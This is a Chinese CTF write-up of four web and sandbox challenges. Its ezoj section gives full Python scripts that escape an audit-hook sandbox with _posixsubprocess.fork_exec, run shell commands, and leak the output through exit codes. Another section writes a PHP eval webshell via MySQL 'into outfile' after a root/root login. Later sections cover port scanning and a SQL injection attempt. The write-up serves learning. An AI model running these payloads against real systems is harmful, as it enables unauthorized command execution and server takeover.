文章目录
- ezoj
- 打卡OK
- offens1ve
- Fakejump server
ezoj
进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了
通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码
def audit_checker(event,args):if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:raise RuntimeErrorsys.addaudithook(audit_checker)
好了,现在你已经清楚了,有这样一个函数,只允许白名单上的东西执行。其他诸如system和eval的代码执行不了。接下来利用程序退出码获取python版本信息,退出码就相当于return 0,区别在于这里return的值可控,通过version_info获取版本信息
import sys
sys.exit(sys.version_info[0])
得到Python版本3.12.9,接着看,就算导入os模块,也不能执行system命令
但是可以导入内部模块,即一些隐藏的可以用来执行命令的函数
如_posixsubprocess的fork_exe()函数,它的底层是c代码,所以可以绕过安全审计
在_posixsubprocess模块中有一个c2pwrite参数,可以将子进程的输出数据重定向到父进程,可以利用这一点将数据带出来。
import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:sys.exit(content[{loc}])
else:sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):code = CODE_TEMPLATE.format(loc=i,command=command)data = {"problem_id":0,"code":code}resp = requests.post(URL,json=data)resp_data = resp.json()assert(resp_data["status"] == "RE")ret_loc = resp_data["message"].find("ret=")ret_code = resp_data["message"][ret_loc+4:]if ret_code == "255":breakreceived += chr(int(ret_code))print(received)
os.pipe创建通信管道
这里学到一个很厉害的技巧:使用管道,如果信息直接输出到终端,且不给回显,就可以通过管道给它先放进去,再从管道的另一端去读,可以采用类似布尔盲注的思想拿出信息,当然这里没这么麻烦。
_posixsubprocess.fork_exec((b"/bin/bash", b"-c", b"ls /"), # ① 要执行的命令[b"/bin/bash"], # ② argv(程序参数)True, # ③ 是否关闭所有文件描述符(close_fds)(), # ④ 预执行(preexec_fn)None, None, # ⑤ 用户ID(UID)和 组ID(GID)-1, -1, -1, # ⑥ 文件描述符重定向std_pipe[1], # c2pwrite # ⑦ stdout 重定向到管道-1, -1, # ⑧ stdin, stderr 处理*(err_pipe), # ⑨ stderr 绑定到 err_pipeFalse, False, False, # ⑩ 设置子进程行为None, None, None, # ⑪ 进程优先级和调度相关-1, None, False # ⑫ 其他控制参数
)
启动bash大概就相当于启动cmd这个意思
第二个参数只放程序本身的名字,再往下看,是一个经验性的东西,由于 os.read 可能会将程序卡住,因此在 os.read 之前先sleep⼀下。到这里payload的构建就没有什么问题了,我们再来看看处理数据的脚本怎么构建,先看题目源码
code就是我们构建的payload,通过程序退出码逐个返回信息
这里我们显然不能直接提交到oj平台,所以id设置为0
如果返回状态码为RE说明sys.exit()触发了
import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec((b"/bin/bash",b"-c",b"ls /"),[b"/bin/bash"],True,(),None,None,-1,-1,-1,std_pipe[1], #c2pwrite-1,-1,*(err_pipe),False,False,False,None,None,None,-1,None,False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:sys.exit(content[{log}])
else:sys.exit(255)'''
rec=""
for i in range(1,244):code=CODE_TEMPLATE.format(log=i)data={"problem_id":0,"code":code}response=requests.post(url=url,json=data)redata=response.json()assert redata["status"]=="RE"ret_loc=redata["message"].find("ret=")ret_code=redata["message"][ret_loc+4:]if ret_code=="255":breakelse:rec+=chr(int(ret_code))print(rec)
打卡OK
先试试非预期解,猜测弱密码,这道题是~泄露,即在要访问的文件名后面加上~就可以访问文件的源码
实际上这里在首页源码里可以看到web,web的一个账号密码,但是这个账号权限不够,不能执行sql写命令,接下来尝试一下弱密码,用root,root成功登录,拿到权限
select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/1.php'
写入马用蚁剑连接,在根目录下找到flag
offens1ve
这道题需要先在本地host加入
121.41.102.198 oa.offensive.local
121.41.102.198 monitor.offensive.local
121.41.102.198 sts.offensive.local
AI了一下,原因大概是主办方没买域名,所以就没有自动的ip地址到域名的解析服务,需要在本地配置这种映射关系
host文件地址
C:\Windows\System32\drivers\etc\hosts
保存文件后去cmd输入命令刷新DNS缓存
ipconfig /flushdns
随后配置防火墙,添加入站规则,允许两个端口的流量进来,到这里应该是都配置好了,但是还页面还是不能正常显示,猜测赛后环境已关闭。
Fakejump server
- Jump Server的定义
Jump Server(跳跃服务器)是一种用于安全访问内部网络的中介服务器。用户需先登录Jump Server,再通过该服务器访问内网的其他设备(如数据库、应用服务器等)。其核心作用是作为内外网之间的“安全跳板”,减少内网直接暴露的风险。
- 堡垒机(Bastion Host)的定义
堡垒机是网络安全中的关键设备,通常指经过加固的服务器,专门用于管理和控制对内部网络的访问。其主要功能包括:
-
访问控制:仅允许授权用户通过堡垒机进入内网。
-
审计与监控:记录所有用户操作日志(如命令、文件传输)。
-
隔离风险:防止外部攻击直接渗透到内网。
那么到这里其实就可以通过提示,猜出大概是堡垒机的题目了。可以扫描22端⼝以及3389端⼝,因为⼤多数堡垒都是可以通过ssh/rdp端⼝来访问和管理
服务器,很多⼚商ssh/rdp都是⾃⼰写代码实现的,所以难免会出现漏洞
进来看一下,是一个nginx服务器,除此以外啥也没有。
接下来去看看哪个端口开放,下载一个端口扫描工具
nmap下载
这里注意使用工具时不要加入http等内容,直接放ip地址就可以了
扫出SSH端口开放,nc连接
接下来学到一种思路和手法,既然是输入账号密码,那就尝试sql注入,通过sleep函数的差异来测试数据库,但是在这里就卡住了,在哪里测试?怎么看测试是否成功?接下来试着跑一跑官方的脚本,报了认证失败的错误,可能是题目环境出了问题,就到此为止吧